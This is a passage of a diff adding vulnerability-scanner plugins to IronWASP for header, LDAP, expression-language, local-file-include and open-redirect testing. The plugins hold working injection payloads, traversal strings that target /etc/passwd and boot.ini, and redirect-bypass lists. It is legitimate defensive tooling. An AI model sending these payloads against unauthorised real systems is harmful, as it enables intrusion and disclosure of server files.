request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = confidence + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Expression Language Injection is an issue where it is possible to inject and execute code on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/Expression_Language_Injection>>>" + return Summary + + def GetEchoReason(self, payload, code, num_a, num_b): + Reason = "IronWASP sent >{0}> as payload to the application. This payload has a small Expression Language snippet - >{1}>. ".format(payload, code) + Reason = Reason + "If this code is executed then >{0}> and >{1}> will be added together and the sum of the addition will be printed back in the response. ".format(num_a, num_b) + Reason = Reason + "The response that came back from the application after the payload was injected had the value >{0}>, which is the sum of >{1}> & >{2}>. ".format(num_a + num_b, num_a, num_b) + Reason = Reason + "This indicates that the injected code snippet could have been executed on the server-side." + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can manually inject the same payload but by changing the two numbers to some other value. Then you can observe if the response contains the sum of two numbers." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, self.TriggerCount, FalsePositiveCheck) + return FR + +p = ExpressionLanguageInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/HeaderInjection.py b/plugins/active/HeaderInjection.py new file mode 100644 index 0000000..378a4a1 --- /dev/null +++ b/plugins/active/HeaderInjection.py @@ -0,0 +1,81 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr + +#Inherit from the base ActivePlugin class +class HeaderInjection(ActivePlugin): + + crlf_inj_str = ["\r\nNeww: Headerr", "aa\r\nNeww: Headerr", "\r\nNeww: Headerr\r\n", "aa\r\nNeww: Headerr\r\n"] + + def GetInstance(self): + p = HeaderInjection() + p.Name = "Header Injection" + p.Description = "Active plugin that checks for HTTP Header Injection by inserting CR LF characters" + p.Version = "0.4" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.reason = "" + self.CheckForCRLFInjection() + + def CheckForCRLFInjection(self): + self.scnr.Trace(">>Checking for Header Injection:>") + self.scnr.Trace(">> Trying to inject a header named 'Neww'>") + crlf_inj_found = False + prefix = ["", self.scnr.PreInjectionParameterValue] + for cis in self.crlf_inj_str: + if crlf_inj_found: + break + for p in prefix: + payload = p + cis + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if(res.Headers.Has("Neww")): + self.scnr.ResponseTrace(" ==> >Header 'Neww' injected>") + self.reason = self.GetReason(payload) + self.ReportCRLFInjection(payload, "The payload in this request attempts to insert a header with name 'Neww' in the response. The payload is {0}".format(payload), "Neww: Headerr", "This response has a header named 'Neww' which was added because of the payload") + crlf_inj_found = True + break + else: + self.scnr.ResponseTrace(" ==> Header not injected") + + def ReportCRLFInjection(self, req_trigger, req_trigger_desc, res_trigger, res_trigger_desc): + self.scnr.SetTraceTitle("Header Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Header Injection Found" + pr.Summary = "Header Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + pr.AddReason(self.reason) + pr.Triggers.Add(req_trigger, req_trigger_desc, self.scnr.InjectedRequest, res_trigger, res_trigger_desc, self.scnr.InjectionResponse) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Header Injection is an issue where it is possible to inject a new HTTP Header in the response from the application. For more details on this issue refer >http://en.wikipedia.org/wiki/HTTP_header_injection>>>" + return Summary + + def GetReason(self, payload): + payload = Tools.EncodeForTrace(payload) + + #Reason = "IronWASP sent '\r\nNeww: Headerr as payload to the application. This payload has CRLF characters followed by the string Neww: Headerr which is in the format of a HTTP Header with name Neww and value Headerr. " + Reason = "IronWASP sent >{0}> as payload to the application. This payload has CRLF characters followed by the string >Neww: Headerr> which is in the format of a HTTP Header with name >Neww> and value >Headerr>. ".format(payload) + Reason = Reason + "The response that came back from the application after injecting this payload has an HTTP header named >Neww>. " + Reason = Reason + "This indicates that our payload caused an HTTP header to be injected in the response." + + ReasonType = "HeaderAdded" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can send the same payload but with different values for the header name part of the payload. If the response contains any HTTP headers with the specified names then there actually is Header Injection." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, 1, FalsePositiveCheck) + return FR + + +p = HeaderInjection() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/LDAPInjection.py b/plugins/active/LDAPInjection.py new file mode 100644 index 0000000..215018d --- /dev/null +++ b/plugins/active/LDAPInjection.py @@ -0,0 +1,93 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr + +#Inherit from the base ActivePlugin class +class LDAPInjection(ActivePlugin): + + error_strings = [] + + def GetInstance(self): + p = LDAPInjection() + p.Name = "LDAP Injection" + p.Description = "Active plugin that checks for LDAP Injection" + p.Version = "0.4" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.reason = "" + self.CheckForLDAPInjection() + + def CheckForLDAPInjection(self): + self.scnr.Trace(">>Checking for LDAP Injection:>") + payload = "#^($!@$)(()))******" + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + errors_found = [] + for error in self.error_strings: + if res.BodyString.count(error) > 0: + errors_found.append(error) + if len(errors_found) > 0: + self.scnr.ResponseTrace(" ==> >LDAP Injection Found.>Errors:>{0}>".format(">".join(errors_found))) + self.reason = self.GetReason(payload, errors_found) + self.ReportLDAPInjection(payload, "The payload in this request is meant to trigger LDAP errors. The payload is: {0}".format(payload), "\r\n".join(errors_found), "This response contains LDAP error messages due to the error triggered by the payload") + else: + self.scnr.ResponseTrace(" ==> No Errors Found") + + def ReportLDAPInjection(self, req_trigger, req_trigger_desc, res_trigger, res_trigger_desc): + self.scnr.SetTraceTitle("LDAP Injection Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "LDAP Injection Found" + pr.Summary = "LDAP Injection has been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + pr.AddReason(self.reason) + pr.Triggers.Add(req_trigger, req_trigger_desc, self.scnr.InjectedRequest, res_trigger, res_trigger_desc, self.scnr.InjectionResponse) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + pr.Confidence = FindingConfidence.High + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "LDAP Injection is an issue where it is possible execute LDAP queries on the LDAP directory being referenced on the server-side. For more details on this issue refer >https://www.owasp.org/index.php/LDAP_injection>>>" + return Summary + + def GetReason(self, payload, errors): + payload = Tools.EncodeForTrace(payload) + + #Reason = Reason + "IronWASP sent #^($!@$)(()))****** as payload to the application, this payload would cause an exception to happen in insecure LDAP queries. " + Reason = "IronWASP sent >{0}> as payload to the application, this payload would cause an exception to happen in insecure LDAP queries. ".format(payload) + if len(errors) > 1: + Reason = Reason + "The response from the application for this payload had the error messages:" + for error in errors: + Reason = Reason + ">>{0}>".format(error) + Reason = Reason + ">These error messages are usually found in LDAP query related exceptions. Therefore this issue has been reported." + else: + #Reason = Reason + "The response from the application for this payload had the error message: An inappropriate matching occurred. ".format(error) + Reason = Reason + "The response from the application for this payload had the error message: >{0}>. ".format(errors[0]) + Reason = Reason + "This error message is usually found in LDAP query related exceptions. Therefore this issue has been reported." + + ReasonType = "Error" + + #False Positive Check + FalsePositiveCheck = "Manually analyze the response recived for the payload and confirm if the error message is actually because of some exception on the server-side." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, 1, FalsePositiveCheck) + return FR + + def SetUp(self): + err_str_file = open(Config.Path + "\\plugins\\active\\ldap_error_strings.txt") + err_str_file.readline()#Ignore the first line containing comments + error_strings_raw = err_str_file.readlines() + err_str_file.close() + for err_str in error_strings_raw: + err_str = err_str.strip() + if len(err_str) > 0: + self.error_strings.append(err_str) + +p = LDAPInjection() +p.SetUp() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/LocalFileInclude.py b/plugins/active/LocalFileInclude.py new file mode 100644 index 0000000..e59c504 --- /dev/null +++ b/plugins/active/LocalFileInclude.py @@ -0,0 +1,374 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + +#Inherit from the base ActivePlugin class +class LocalFileInclude(ActivePlugin): + + null_terminator = ["\000",""] + files = {"etc/passwd" : "nix", "boot.ini" : "win", "Windows\\Win.ini" : "win"} + file_ext = ["txt", "html", "jpg",""] + drives = ["c:\\", "d:\\"] + + def GetInstance(self): + p = LocalFileInclude() + p.Name = "Local File Include" + p.Description = "Active Plugin to check for Local File Include/Directory Traversal vulnerabilities" + p.Version = "0.5" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.confidence = 0 + self.RequestTriggers = [] + self.ResponseTriggers = [] + self.RequestTriggerDescs = [] + self.ResponseTriggerDescs = [] + self.TriggerRequests = [] + self.TriggerResponses = [] + self.reasons = [] + self.TriggerCount = 0 + self.slash_prefix = "" + self.CheckForLocalFileInclude() + + def CheckForLocalFileInclude(self): + self.scnr.Trace(">>Checking for Local File Include:>") + self.slash_prefix = self.GetPrefix() + self.CheckForLocalFileIncludeWithKnownFiles() + self.CheckForLocalFileIncludeWithDownwardTraversal() + self.AnalyzeTestResult() + + def GetPrefix(self): + #Prefix detection logic is inspired by the WAVSEP LFI test cases + self.scnr.Trace(">>Identifying the prefix to use in payloads:>") + self.scnr.RequestTrace(" Injected paylaod - aaa") + prefix_base_res = self.scnr.Inject("aaa") + self.scnr.ResponseTrace(" ==> This response will be used as baseline for prefix detection") + + prefix = "" + + payloads = ["/", "\\", "file:/aaa"] + messages = ["is a directory", "is a directory", "no such file or directory"] + + for i in range(len(payloads)): + payload = payloads[i] + message = messages[i] + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + if res.BodyString.lower().count(message) > prefix_base_res.BodyString.lower().count(message): + prefix = payload + self.scnr.ResponseTrace(" ==> >The message '{0}' occured {1} times in this response and {2} time in the baseline response. This indicates that the prefix should be {3}>".format(message, res.BodyString.lower().count(message), prefix_base_res.BodyString.lower().count(message), payload)) + return prefix + else: + self.scnr.ResponseTrace(" ==> Response does not indicate that {0} could be the prefix".format(payload)) + + if self.scnr.PreInjectionParameterValue.startswith("/"): + prefix = "/" + elif self.scnr.PreInjectionParameterValue.startswith("\\"): + prefix = "\\" + elif self.scnr.PreInjectionParameterValue.startswith("file:"): + prefix = "file:" + return prefix + + def CheckForLocalFileIncludeWithKnownFiles(self): + file_exts = [] + self.base_res = self.scnr.BaseResponse + parts = self.scnr.PreInjectionParameterValue.split(".") + if len(parts) > 1: + file_exts.append(parts[len(parts) - 1]) + file_exts.extend(self.file_ext) + + self.scnr.Trace(">>Checking for Local File Include with Known Files:>") + + for f in self.files.keys(): + for nt in self.null_terminator: + for fe in file_exts: + if len(nt) == 0 and len(fe) > 0: + continue#no point in adding a file extension without a null terminator + payload = "" + if self.slash_prefix == "file:": + if self.files[f] == "nix": + payload = "/{0}".format(f, nt) + else: + payload = "c:\\{0}".format(f, nt) + else: + if self.files[f] == "nix": + payload = "{0}{1}{2}{3}".format(self.slash_prefix, "../" * 15, f, nt) + else: + payload = "{0}{1}{2}{3}".format(self.slash_prefix, "..\\" * 15, f, nt) + + if len(fe) > 0: + payload = "{0}.{1}".format(payload, fe) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + downloaded_file_info = self.GetDownloadedFileInfo(res, f) + if len(downloaded_file_info) > 0: + self.scnr.ResponseTrace(" ==> >Response contains contens of {0}>".format(f)) + if self.slash_prefix == "file:": + self.AddToTriggers(payload, "The payload in this request refers to the {0} file by using the file: protocol. The payload is {1}".format(f, payload), downloaded_file_info, "This response contains contents of the {0} file. This was caused by the payload".format(f)) + else: + self.AddToTriggers(payload, "The payload in this request refers to the {0} file by traversing upwards in the directory structure. The payload is {1}".format(f, payload), downloaded_file_info, "This response contains contents of the {0} file. This was caused by the payload".format(f)) + self.SetConfidence(3) + slash = "" + if self.files[f] == "nix": + slash = "/" + else: + slash = "\\" + reason = self.GetEchoReason(payload, f, downloaded_file_info, slash, self.TriggerCount, self.slash_prefix) + self.reasons.append(reason) + else: + self.scnr.ResponseTrace(" ==> No trace of {0}".format(f)) + + def CheckForLocalFileIncludeWithDownwardTraversal(self): + slashes = ["/", "\\"] + for slash in slashes: + self.CheckForLocalFileIncludeWithDownwardTraversalWithSlash(slash) + + def CheckForLocalFileIncludeWithDownwardTraversalWithSlash(self, slash): + #check downward traversal + #indicates presence of file read function and also a insecure direct object reference in that function + self.scnr.Trace(">>Checking for Downward Directory Traversal:>") + self.scnr.Trace(">Normal Response Code - {0}. Length -{0}".format(self.base_res.Code, self.base_res.BodyLength)) + + payload_a = "aa..{0}".format(self.scnr.PreInjectionParameterValue) + payload_a = payload_a.replace("", slash) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_a)) + res_a = self.scnr.Inject(payload_a) + req_a = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_a.Code, res_a.BodyLength)) + + payload_a1 = "aa..{0}".format(self.scnr.PreInjectionParameterValue) + payload_a1 = payload_a1.replace("", slash) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_a1)) + res_a1 = self.scnr.Inject(payload_a1) + req_a1 = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_a1.Code, res_a1.BodyLength)) + + payload_b = "bb..{0}".format(self.scnr.PreInjectionParameterValue) + payload_b = payload_b.replace("", slash) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_b)) + res_b = self.scnr.Inject(payload_b) + req_b = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_b.Code, res_b.BodyLength)) + + payload_b1 = "bb..{0}".format(self.scnr.PreInjectionParameterValue) + payload_b1 = payload_b1.replace("", slash) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload_b1)) + res_b1 = self.scnr.Inject(payload_b1) + req_b1 = self.scnr.InjectedRequest + self.scnr.ResponseTrace(" ==> Got Response. Code- {0}. Length- {1}".format(res_b1.Code, res_b1.BodyLength)) + + self.scnr.Trace(">Analysing the responses for patterns...") + + #Analyzing the responses for patterns + sc = SimilarityChecker() + sc.Add("a", res_a) + sc.Add("a1", res_a1) + sc.Add("b", res_b) + sc.Add("b1", res_b1) + sc.Check() + + requests = [req_a, req_a1, req_b, req_b1] + responses = [res_a, res_a1, res_b, res_b1] + request_trigger_descs = [] + request_trigger_descs.append("This payload refers to the {0} file by doing a proper upward directory traversal of a dummy directory 'aa'. The payload is {1}".format(self.scnr.PreInjectionParameterValue, payload_a)) + request_trigger_descs.append("This payload does not do a proper upward directory traversal of the dummy directory 'aa' and so does not refer to the {0} file. The payload is {1}".format(self.scnr.PreInjectionParameterValue, payload_a1)) + request_trigger_descs.append("This payload refers to the {0} file by doing a proper upward directory traversal of a dummy directory 'bb'. The payload is {1}".format(self.scnr.PreInjectionParameterValue, payload_b)) + request_trigger_descs.append("This payload does not do a proper upward directory traversal of the dummy directory 'bb' and so does not refer to the {0} file. The payload is {1}".format(self.scnr.PreInjectionParameterValue, payload_b1)) + response_trigger_descs = [] + response_trigger_descs.append("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger after the next.") + response_trigger_descs.append("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger after the next.") + response_trigger_descs.append("The contents of this response are different from the response of the next trigger but are similar to the response of the trigger before the previous.") + response_trigger_descs.append("The contents of this response are different from the response of the previous trigger but are similar to the response of the trigger before the previous.") + request_triggers = [payload_a, payload_a1, payload_b, payload_b1] + response_triggers = ["","","",""] + + for group in sc.StrictGroups: + if group.Count == 2: + if group.HasKey("a") and group.HasKey("b"): + self.scnr.Trace(">>Responses for traversal based payloads are similar to each other and are different from non-traversal based responses. Indicates presence of LFI.>") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], self.scnr.PreInjectionParameterValue, slash, self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(2) + return + + for group in sc.RelaxedGroups: + if group.Count == 2: + if group.HasKey("a") and group.HasKey("b"): + self.scnr.Trace(">>Responses for traversal based payloads are similar to each other and are different from non-traversal based responses. Indicates presence of LFI.>") + + reason = self.GetDiffReason([payload_a, payload_a1, payload_b, payload_b1], self.scnr.PreInjectionParameterValue, slash, self.TriggerCount, len(request_triggers)) + self.reasons.append(reason) + + self.RequestTriggers.extend(request_triggers) + self.ResponseTriggers.extend(response_triggers) + self.RequestTriggerDescs.extend(request_trigger_descs) + self.ResponseTriggerDescs.extend(response_trigger_descs) + self.TriggerRequests.extend(requests) + self.TriggerResponses.extend(responses) + self.TriggerCount = self.TriggerCount + len(request_triggers) + self.SetConfidence(1) + return + + self.scnr.Trace(">The responses did not fall in any patterns that indicate LFI") + + + def GetDownloadedFileInfo(self, res, file): + bs = res.BodyString.lower() + bbs = self.base_res.BodyString.lower() + + if file == "etc/passwd": + bs_c = bs.count("root:x:0:0:") + bbs_c = bbs.count("root:x:0:0:") + if bs_c > bbs_c: + return "root:x:0:0:" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("etc/passwd") > 0: + return "root:x:0:0:" + + bs_c = bs.count("root:!:x:0:0:") + bbs_c = bbs.count("root:!:x:0:0:") + if bs_c > bbs_c: + return "root:!:x:0:0:" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("passwd") > 0: + return "root:!:x:0:0:" + + elif file == "boot.ini": + bs_c_1 = bs.count("[boot loader]") + bbs_c_1 = bbs.count("[boot loader]") + bs_c_2 = bs.count("multi(") + bbs_c_2 = bbs.count("multi(") + if bs_c_1 > bbs_c_1 and bs_c_2 > bbs_c_2: + return "[boot loader]" + elif bs_c_1 == bbs_c_1 and bs_c_2 == bbs_c_2 and self.scnr.PreInjectionParameterValue.count("boot.ini") > 0: + return "[boot loader]" + + elif file == "Windows\\Win.ini": + bs_c = bs.count("for 16-bit app support") + bbs_c = bbs.count("for 16-bit app support") + if bs_c > bbs_c: + return "for 16-bit app support" + elif bs_c == bbs_c and self.scnr.PreInjectionParameterValue.count("Win.ini") > 0: + return "for 16-bit app support" + return "" + + def SetConfidence(self, conf): + if conf > self.confidence: + self.confidence = conf + + def AnalyzeTestResult(self): + if len(self.RequestTriggers) > 0: + self.ReportLocalFileInclude() + + def AddToTriggers(self, RequestTrigger, RequestTriggerDesc, ResponseTrigger, ResponseTriggerDesc): + self.RequestTriggers.append(RequestTrigger) + self.ResponseTriggers.append(ResponseTrigger) + self.RequestTriggerDescs.append(RequestTriggerDesc) + self.ResponseTriggerDescs.append(ResponseTriggerDesc) + self.TriggerRequests.append(self.scnr.InjectedRequest.GetClone()) + self.TriggerResponses.append(self.scnr.InjectionResponse.GetClone()) + self.TriggerCount = self.TriggerCount + 1 + + def ReportLocalFileInclude(self): + self.scnr.SetTraceTitle("Local File Include Found", 10) + pr = Finding(self.scnr.InjectedRequest.BaseUrl) + pr.Title = "Local File Include Found" + pr.Summary = "Local File Include/Path Traversal been detected in the '{0}' parameter of the {1} section of the request.>>{2}".format(self.scnr.InjectedParameter, self.scnr.InjectedSection, self.GetSummary()) + for reason in self.reasons: + pr.AddReason(reason) + + for i in range(len(self.RequestTriggers)): + pr.Triggers.Add(self.RequestTriggers[i], self.RequestTriggerDescs[i], self.TriggerRequests[i], self.ResponseTriggers[i], self.ResponseTriggerDescs[i], self.TriggerResponses[i]) + pr.Type = FindingType.Vulnerability + pr.Severity = FindingSeverity.High + if self.confidence == 3: + pr.Confidence = FindingConfidence.High + elif self.confidence == 2: + pr.Confidence = FindingConfidence.Medium + else: + pr.Confidence = FindingConfidence.Low + self.scnr.AddFinding(pr) + + def GetSummary(self): + Summary = "Local File Include is an issue where it is possible to load and view the raw contents of any files present on the web server. For more details on this issue refer >https://www.owasp.org/index.php/Path_Traversal>>>" + return Summary + + def GetEchoReason(self, payload, file_name, file_contents, slash, Trigger, Prefix): + payload = Tools.EncodeForTrace(payload) + #Reason = "IronWASP sent ../../../../../../../../../../../../../etc/passwd\000.txt as payload to the application. " + Reason = "IronWASP sent >{0}> as payload to the application. ".format(payload) + #Reason = Reason + "This payload tries to refer to the file /etc/passwd by traversing from the current directory with a series of ../. " + if Prefix == "file:": + Reason = Reason + "This payload tries to refer to the file >{0}> by using the >file:> protocol.".format(file_name) + else: + Reason = Reason + "This payload tries to refer to the file >{0}> by traversing from the current directory with a series of >..{1}>. ".format(file_name, slash) + #Reason = Reason + "If the application is vulnerable it will load the /etc/passwd file and send its contents in the response. " + Reason = Reason + "If the application is vulnerable it will load the >{0}> file and send its contents in the response. ".format(file_name) + #Reason = Reason + "The response that came back from the application after the payload was injected had the text root:x:0:0:, which is usually found in /etc/passwd files. This indicates that the /etc/passwd file was loaded and its content printed in the response.".format(payload, code) + Reason = Reason + "The response that came back from the application after the payload was injected had the text >{0}>, which is usually found in >{1}> files. This indicates that the >{1}> file was loaded and its content printed in the response.".format(file_contents, file_name) + + ReasonType = "Echo" + + #False Positive Check + #Reason = Reason + "To check if this was a valid case or a false positive you can first manually look at the response sent for this payload and determine if it actually contains the contents of the >/etc/passwd> file. " + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the response sent for this payload and determine if it actually contains the contents of the >{0}> file. ".format(file_name) + FalsePositiveCheck = FalsePositiveCheck + "After that you can try changing the file name to something else and see if the server prints those file contents." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, Trigger, FalsePositiveCheck) + return FR + + + def GetDiffReason(self, payloads, file_name, slash, trigger_start, trigger_count): + Reason = "IronWASP sent four payloads to the application.>" + ids = ["A", "B", "C", "D"] + #Payload A - aa/../abcd.jpg + #Payload B - aa../abcd.jpg + #Payload C - bb/../abcd.jpg + #Payload D - bb../abcd.jpg + + for i in range(len(ids)): + payloads[i] = Tools.EncodeForTrace(payloads[i]) + Reason = Reason +"Payload {0} - >{1}>>".format(ids[i], payloads[i]) + + Reason = Reason + ">Payloads A and C are similar in nature. They both refer to the file >{0}> ".format(file_name) + Reason = Reason + "by including an imaginary directory in the path (aa & bb) but then also invalidating it by traversing upwards by one directory using >..{0}>. ".format(slash) + #Reason = Reason + "So these payloads must have the same effect as refering to the file >abcd.jpg> normally." + Reason = Reason + "So these payloads must have the same effect as referring to the file >{0}> normally.".format(file_name) + + #Reason = Reason + ">Payloads B and D are similar to each other but different from A & C. They refer to the file abcd.jpg inside invalid directories (aa & bb)." + Reason = Reason + ">Payloads B and D are similar to each other but different from A & C. They refer to the file >{0}> inside invalid directories (aa & bb).".format(file_name) + + Reason = Reason + ">If the application is vulnerable to Local File Include then the response for Payloads A & C must be similar to each other and different from responses for Payloads B&D. " + Reason = Reason + "The responses for the injected payloads were analyzed and it was found that Payloads A & C got a similar looking response and were also different from responses got from Payloads B & D, thereby indicating the presence of this vulnerability." + + #Trigger + trigger_ids = [] + for i in range(trigger_start + 1, trigger_start + trigger_count + 1): + trigger_ids.append(i) + + ReasonType = "Diff" + + #False Positive Check + FalsePositiveCheck = "To check if this was a valid case or a false positive you can first manually look at the responses received for Payloads A, B, C and D. Analyze these payloads and verify if indeed A & C got similar responses and were different from B & D. " + FalsePositiveCheck = FalsePositiveCheck + "You can also change the payloads for A & C by adding one more invalid directory and one more >..{0}> to invalidate that directory. ".format(slash) + FalsePositiveCheck = FalsePositiveCheck + "This must get the same response as the responses for A & C." + FalsePositiveCheck = FalsePositiveCheck + ">If you discover that this issue was a false positive then please consider reporting this to >lava@ironwasp.org>. Your feedback will help improve the accuracy of the scanner." + + FR = FindingReason(Reason, ReasonType, trigger_ids, FalsePositiveCheck) + return FR + +p = LocalFileInclude() +ActivePlugin.Add(p.GetInstance()) diff --git a/plugins/active/OpenRedirect.py b/plugins/active/OpenRedirect.py new file mode 100644 index 0000000..7ea038e --- /dev/null +++ b/plugins/active/OpenRedirect.py @@ -0,0 +1,198 @@ +#Author: Lavakumar Kuppan +#License: MIT License - http://www.opensource.org/licenses/mit-license +from IronWASP import * +from System import * +import clr +import re + +#Inherit from the base ActivePlugin class +class OpenRedirect(ActivePlugin): + + basic_redirect_urls = ["http://", "https://", "//", "", "5;URL='http://'"] + #taken from http://kotowicz.net/absolute/ + full_redirect_urls = [ "http://", "https://", "//", "http:\\\\", "https:\\\\", "\\\\", "/\\", "\\/", "\r//", "/ /", "http:", "https:", "http:/", "https:/", "http:////", "https:////", "://", ".:.", "", "5;URL='http://'"] + + def GetInstance(self): + p = OpenRedirect() + p.Name = "Open Redirect" + p.Description = "Active Plugin to check for Open Redirect vulnerability" + p.Version = "0.4" + return p + + #Override the Check method of the base class with custom functionlity + def Check(self, scnr): + self.scnr = scnr + self.base_req = self.scnr.BaseRequest + self.reason = "" + self.CheckForOpenRedirection() + + def CheckForOpenRedirection(self): + self.scnr.Trace(">>Checking for Open Redirect:>") + urls = [] + uniq_str = "eziepwlivt" + self.scnr.Trace(">>Checking if In-Domain Redirect Happens:>") + self.scnr.RequestTrace(" Injected payload - {0}".format(uniq_str)) + res = self.scnr.Inject(uniq_str) + if self.IsRedirectedTo(uniq_str, res, False): + self.scnr.ResponseTrace(" ==> >In-domain redirect happens. Using full payload set!>") + self.scnr.SetTraceTitle("In-domain redirect happens", 5) + urls.extend(self.full_redirect_urls) + else: + self.scnr.ResponseTrace(" ==> In-domain redirect does not happen. Using only basic payload set") + urls.extend(self.basic_redirect_urls) + + host = self.base_req.Host + #remove the port number from hostname + try: + if host.index(":") > 0: + host = host[:host.index(":")] + except: + pass + self.scnr.Trace(">>Checking if Out-of-Domain Redirect Happens:>") + for url in urls: + for i in range(2): + h = "" + if i == 0: + h = "example.org" + else: + h = "{0}.example.org".format(host) + payload = url.replace("", h) + self.scnr.RequestTrace(" Injected payload - {0}".format(payload)) + res = self.scnr.Inject(payload) + redirected = "" + if payload.startswith("5;"): + redirect_url = "http://{0}".format(h) + redirected = self.IsRedirectedTo(redirect_url, res, False) + elif payload.startswith(h): + redirected = self.IsRedirectedTo(payload, res, True) + else: + redirected = self.IsRedirectedTo(payload, res, False) + if len(redirected) > 0: + self.reason = self.GetReason(payload, redirected) + self.scnr.ResponseTrace(" ==> >Redirects to Injected payload!>") + self.ReportOpenRedirect(payload, "The payload in this request contains an url to the domain {0}. The payload is {1}".format(h, payload), payload, self.GetResponseTriggerDesc(redirected, h)) + return + else: + self.scnr.ResponseTrace(" ==> No redirect to payload") + + + def IsRedirectedTo(self, ru, res, host_only): + if not host_only: + #check if redirection is happening through Location + if res.Headers.Has("Location"): + location_url = res.Headers.Get("Location") + if self.IsLocationRedirected(location_url, ru): + return "Location-Header" + + lus = res.Html.GetMetaContent("http-equiv", "Location") + if len(lus) > 0: + if self.IsLocationRedirected(lus[0], ru): + return "Location-Meta" + + #check if redirection is happening through Refresh + if res.Headers.Has("Refresh"): + refresh_url = res.Headers.Get("Refresh").lower() + if self.IsRefreshRedirected(refresh_url, ru): + return "Refresh-Header" + + rus = res.Html.GetMetaContent("http-equiv", "Refresh") + if len(rus) > 0: + if self.IsRefreshRedirected(rus[0], ru): + return "Refresh-Meta" + + #check if redirection is happening through JavaScript + #location.href="url" + #navigate("url") + #location="url" + #location.replace("url") + if res.BodyString.lower().count(ru) > 0: + JS = res.Html.GetJavaScript() + for script in JS: + script = script.lower() + if script.count(ru) > 0: + if host_only: + if re.search('location\.host\s*=\s*(\'|")\s*{0}'.format(re.escape(ru)), script): + return "JS-location.host" + else: + if re.search('location(\.href)*\s*=\s*(\'|")\s*{0}'.format(re.escape(ru)), script): + return "JS-location.href" + elif re.search('(navigate|location\.replace)\(\s*(\'|")\s*{0}'.format(re.escape(ru)), script): + return "JS-*" + return "" + + def IsLocationRedirected(self, location, redirect_url): + location = location.strip() + redirect_url = redirect_url.strip() + if location.lower().startswith(redirect_url.lower()): + return True + else: + return False + + def IsRefreshRedirected(self, refresh, redirect_url): + refresh = refresh.strip() + redirect_url = redirect_url.strip() + r_parts = 